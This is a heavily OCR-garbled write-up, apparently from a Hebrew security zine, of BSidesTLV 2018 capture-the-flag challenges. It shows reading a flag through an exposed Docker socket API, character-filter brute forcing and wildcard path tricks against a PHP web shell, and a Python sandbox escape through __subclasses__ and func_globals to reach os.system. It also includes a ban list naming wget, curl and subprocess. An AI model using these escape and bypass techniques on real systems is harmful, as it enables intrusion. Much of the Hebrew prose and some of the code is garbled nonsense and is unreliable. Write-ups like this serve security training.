Ever e my age remembers W

< o

T2 .e-7 97NN c-1 NINY 97nNn h D NIXYY? N, NN N97NNN DX IRYN INn7wim nnknn
22 X 117 AW TY .NNDN NNINA DIFMIXR D791 [17'A XY 09170 'NAND NI97NNN 75 N RI¥nY

.NWISNn voyrLN

ly age remembers where they were and what the e doing when they fi

e(len(s)}:

‘dic[data[i]]

dic[data[i]] - s[i]

data:
print (chr(dic[i]),end="")
éic[i] ord(input())

dic.it
(chr{x)

N7 XINW Y202 ,NI97NNN 9 7V 17 X7 'NNNl 0oRFVNN IWRIN VOWNN NX NPI7 VOPON
0'7UN71 190N 7V NN 11aY7 010 NNIX .NNIN 00N YNNWNNN Wpan KIN NNYoN NIX KXIN

JNIENN IRY 701 DNIK DWUNT7 ART' KIN,NN0NN NIXD NIX 127
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s name appeared at the top o he Score'oardI for the whi

an avatar
had finally foundI 'y an eigh earme 1 ving in a trati’
nsI and m niser es ha attempted to tell the 0
I want to set the record straightI once and for all.hhhBS

| BSidesTLV{4948941 671}

NND X7 NN ,U070 TNKX DIN DIY1 Y'oin X7 NXIN ...090n 117 Y0N ?7nn vaa LN 9 90
6 ,N"7¥IY TV wN1? NO1 TX ...0"190N 7 NT DNNKRY 1IND ?wIn1 7Y MY I IN%Y I MNTa

Ihonn Y90nn NIN

| BSidesTLV{49489416671}
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Docking Station (Misc)

Description:

Mind having a look?
ssh bsidestlv@one.challenges.bsidestlv.com -p 2222 (password: dOcklngst4t10n)
Made by Tomer Zait |

NNo
,D'TIUN D'¥27 INKR WI9'N2 .Docker Container JIN2 0'XXN1 NNIXY |2 ,NYWYT ssh-2 12NN "WKRD
TIVNN PIT 7w api-7 2wpnn socket INTW N7V 22122 ¥ wi1o'nn ./var/run/docker.sock-1 7jpnn

.09 17Y

nwa socket-7 2375 n7w INPI7N VIIGN 2 W NP AR 17W ATIAYA DR 1907 Nan 7y

NTHEON NIYXNKR] Zhinnn

ssh -L127.0.0.1:2375:/app/docker.sock bsidestlv@one.challenges.bsidestlv.com -p 2222 |

NN NIYNN DX 72771 9T7 WA DX NYD

http://127.0.0.1:2375/ % Gk
€ ®)127.0.0.1:2375

Most Visitedv il Offensive Security

{"message": "page not found"}

0 NN NWAY MY NITIRIN NIYI DR DYPZN NITIRI 2ANY ) ,api-n 72V 1avna

/containers/json
/containers/ (id name) /json

/containers/ (id name) /top
/containers/ (id name) /logs?stdout=1
/containers/ (id name) /export

2 X NIkY? nn v Lall=1-7 27 m'w) "http://127.0.0.1:2375/containers/json?all=1"-7 wa1 nx
X'D DXINY NTIPON 0NN TN .0TIZ 1V'DIN K7W containers w2 |'N1)  (containers-n
NXIINY NTIZON YA .NNIYD TAY D0y PITaY D'Ynnwn 12 110N INT - "Command":"/hello”

:logs-"7 wan - N7 1m0 A7 TV N - "Command":"/galf.sh” X'n

Heeseestotal 12

[Me@BBeE+drwer-xr-x 1 root root 4096 Apr 27 17:37
666666, drwxr-xr-x 1 root root 4096 Apr 27 17:37 ..
[GE6EGE2 - rw-rw-r-- 1 root root 44 Apr 27 17:88 flag.txt

2V 112Y7 7511 Nwd - 0'RNNAN api endpoint-n NIY¥NAXA export N7 nwya 'n'wsnn kY n70nn It

:flag-n X DwnN Y7n71 n%000 W 0'¥apn Ndwn

‘ BSidesTLV{i_am_r34dy t@ esc4p3_th3_dock3r!}
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https://docs.docker.com/engine/api/v1.24/

Technologic

C1337Shell (Misc)

Description:
What the f**k? | have RCE on a this machine but i can't get the flag. Can you help me out?

http://one.challenges.bsidestlv.com:5000/c1337.php

Made by Tomer Zait |

NNoS

INQD TN 117 aX1' ANKT 0101 TWUND

#® c1337Shell v. 1.0 pre-release build #418 §

Software: Apache/2.4.29 (Debian)

uname -a: Linux 96bee8897359 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 GNU/Linux
uid=1000( bsidestlv) gid=1000(bsidestlv) groups=1000(bsidestiv)

Safe-mode:

Jfapp/ drwxr-xr-x

Free 55.53 GB of 76.28 GB (72.8%)

Result of execution this command:

:: Command execute ::

Enter:

error: " 072N NTIPS 011007 0'01N TWKRD X .NIXK YINT7 AKX NMYNI NITIRO 011007 N1 ,NNINDY

:D'NIN DN 17'R NPTIAN N'Y¥2219 'NaNd "bad characters found

def
allowed =
for i in range (256) :
resp =
requests.post ('http://challen - 1 com:5000/c1337.php',data={"cm
d':chr (i), 'd':"'/c S te'})
if 'error: oad characters found' not resp.text:
print .format (chr (i)
allowed.append (chr (1))
return allowed

RXINNI
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http://one.challenges.bsidestlv.com:5000/c1337.php

Technologic

XY [N ,"echo | nTIO Y NNY M7 NN N Dy qon Ny N
D on ,"echo INPUT" 12202 NTIPD YN ONRAY 'M2'a dNKRA 0770 DY 9011 PNYN INKY
JWIIYN DY 0¥Apn 72 oy NNIR 970t bash ,/* 2Imda

Result of execution this command:

fapp fbin fboot {dev fetc fhome [lib flibe4 fmedia fmnt fopt fproc froot frun fsbin fsrv fsys fimp fuss fvar

./app/f/fl/flag/flag_is_here/flag.txt-7 y'an'?1 ,/app M2 nir'nin 2w N1aw7 751 P

Result of execution this command:

{appff{fifiiagfiag_is_herefflag.bd

Yalzn /??2?/???-2 'wnnwun TWKD L1177 ./bin/cat-2 wnnwn'? nx flag-n NX 0'9TN7 "D NWwd

10770 N1 DX ,"echo INPUT" 12202 X'n NTIRONY 1N ./bin/cat RIn D'RNNY [IUXRIN

[ ;72227222 /222/2/22/%/2222_22_2222/*

XN YA'w nn

‘echo ;/bin/cat /bin/dir /bin/pwd .. /app/f/fl/flag/flag_is_here/flag.txt

10790 102 flag-n NX 73571

‘BSidesTLV{1_11k3_wi1dcaPds_&_r3g3x_but_h8_th3_cP34t0r}
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PySandbox-Insane (Misc)

Description:
BANNED = [
"realgam3", "digitalwhisper", "pycon2018",
R s L
B T S S B ) I
"import", "exec", "eval",

n n non

"pickle", "marshal", "os", "system",
"values", "popen", "subprocess", "input",
"sys", "file", "open",
" dict_ "," init_"," class_ ",
" base_"," bases_"," mro_",
"None", "pop", "read", "get(",
"replace", "insert", "format",
"encode", "decode",
‘warningmessage', "linecache",
"listdir", "__subclasses__",
" _call__", "func_globals",
"cat", "grep", "flag", "secret", "http",
"wget", "curl", "curl secret/flag.txt",
"for", "while", "iter", "next", "join",
"i know you hate me"

]

Escape the sandbox and bypass the firewall to capture the flag!
nc two.challenges.bsidestlv.com 3030

Made by Tomer Zait

NNo

VO01I7 NN INNNN XN .Python Sandbox Escaping ,N'T MIN N'an A1T02 'WRAIN MANKN N7

YR XXNY ,0pRIQTIRON NOAYNN NhMan

NN 1YY NTIRON AXINNY IND

._class_. mro_ [-1].__subclasses__ ()[59].__init__.func_globals['linecache']. _dict_ ['0s']

.0S ""Mv02 nUnnunv n,7'7nn NN No97IYI [IN"91] '0'01 'O LR'MAIR] NYUNNYN IT ATIRO TWUNKD

N'YZ119N NITYA NDWNN 7Y 0NN NIRY TIZ 72 yn? 0710 X 0902 NU™MY 117 W' UKD
.N"M19%0N INnN system

N'RN NYAITI 'WIPN NN DX 17 D72ynn NDyNnn 7Y N2dMN Nn'oNn XIN NANKA NN 7700
Mo 7y miy'? pnY

XN D "MYNnuaY T
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https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-5-PySandbox.pdf

Technologic r

__builtins . setattr ( , builtins . getattribute (
)) -mro ( ).__getitem (1))
__builtins . setattr ( ,0bj. getattribute (obj,

)))

__builtins . setattr ( , sub ( ). _getitem (58)
__builtins . setattr ( ,war. getattribute (war,
__builtins . setattr ( ,inp. getattribute (
__builtins . setattr ( ,fun. getitem (
__builtins . setattr ( ,1lin. getattribute (
__builtins . setattr ( ,dict. getitem (
__builtins . setattr ( ,pus. getattribute (
sup ( . add ( . add ( ) .

:NNTION NIIXA TAIY N1ANAN 'R 1007 T2 NITIRD 177 MIX' 2 IX7 .NIY 751 n1ann DX 72 0TI

[NN9n Ann I1VI2IND
__builtins__.__setattr__("var",value) var = value ("=") nnwn
var.__getitem__(value) var[value] ("M nor7w
var.__getattribute__(var,"__param".__add__("__")) var.__param__ ninion 0'7'n
func( ) func()/func() *nMun1o X477 e

[.DNT QI MIn 2y tab-2 wNNWI [INN9A D7 ,NIN2 WIN'WA DAl 9¥12 D'MAI0] WIN'W DA DoM *]

2w 0% TIEn D NIKAY N DAY 7 MY TIn YW 0NN NKY

= builtins . class_ .mro() [1]
obj. subclasses
sub () [58]
war. e
inp.func globals
fun. [ ]
dict = lin. dict
pus = dict. | ]
Sup = pus.system
sup (

17270 NX 1727 a0l

BSidesTLV{I AM The Python Mater}
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Technologic

Did'o

TNIMA 1072 MYT7W DNANKD NNIY 'YIZ NN DNANK 779 12 Mmoot ,0vyiawd |wnl CTF-n

0N

JNNNN 7002 970101 97TINY 22701 INIK AN9Y7 Y7 NZ7w o 'wign o0 7721 - wiflol e

NI7¥7 T2 N7 0DMY ' DNIX ,NMMT? D'A'0R'S 0'7'9N9 INNO MANKN "AND - IAmBrute e
JANKN DX

.7V MNP 71 XX ,php-1 deserialization NwZiIN 71¥'12 'M'o1nn X7 071N - PimpMyRide e

.(ng-app) MANKN |INN97 'NDN N'NY 9T [V VIO MO0 ,NIYY NN |WN] - GamingStore e

'wdy TV Y facepalm-n NN VINWY? INIY DK W

7w D'9TnI Scoreboard-n NX N2 NKRN NIX ,(GamingStore) |INNRN JANXN DIOY'S yad
, 0210 NPAR NYP DYI ™Y '9IK7 DXNNA X .NNIRP'M DK VTN K7 NXAp Qe NIn 7V nixagn
197 GamingStore NX NS INYMWI "MyT 1 - /profile NNN "W DIp'MN NX NIXTY |NIY 'NINaN

© ninnnn q10a Y DIpMN AN NNl

TV DY WAD'N7 D' NI 210N 72700 72X 207K Nyl IR ninmyn NiIRan 79w 700 0100
,010N0 10 NXPY? .CTF-N ¥ DMNION IRYI 01dN '{2'91 ,0NANKND 'ANID 0N - N7'NPNN D'WIR
NN'Yn) vy D 72y [IWXIN DIpnn - 0'019 DNY I7ynl (Dn'*a dmOn) NNNNA DIT? IR

(DMWY U NNY LNIR D'WY? DO'R 17 'K - D109 NZaVN NN DYy

NN Dyt 010 7y BSidesTLV Ny ,naion nnnNn 2V JCTF-1 doadam _reclass_-7 nTIN

Intn o'nmin CTF-n ¥ A0 X7 DTV w210 DNANKD 'AND NIHX? TN |AMdI

[https://ctf18.bsidestlv.com :1Ina]
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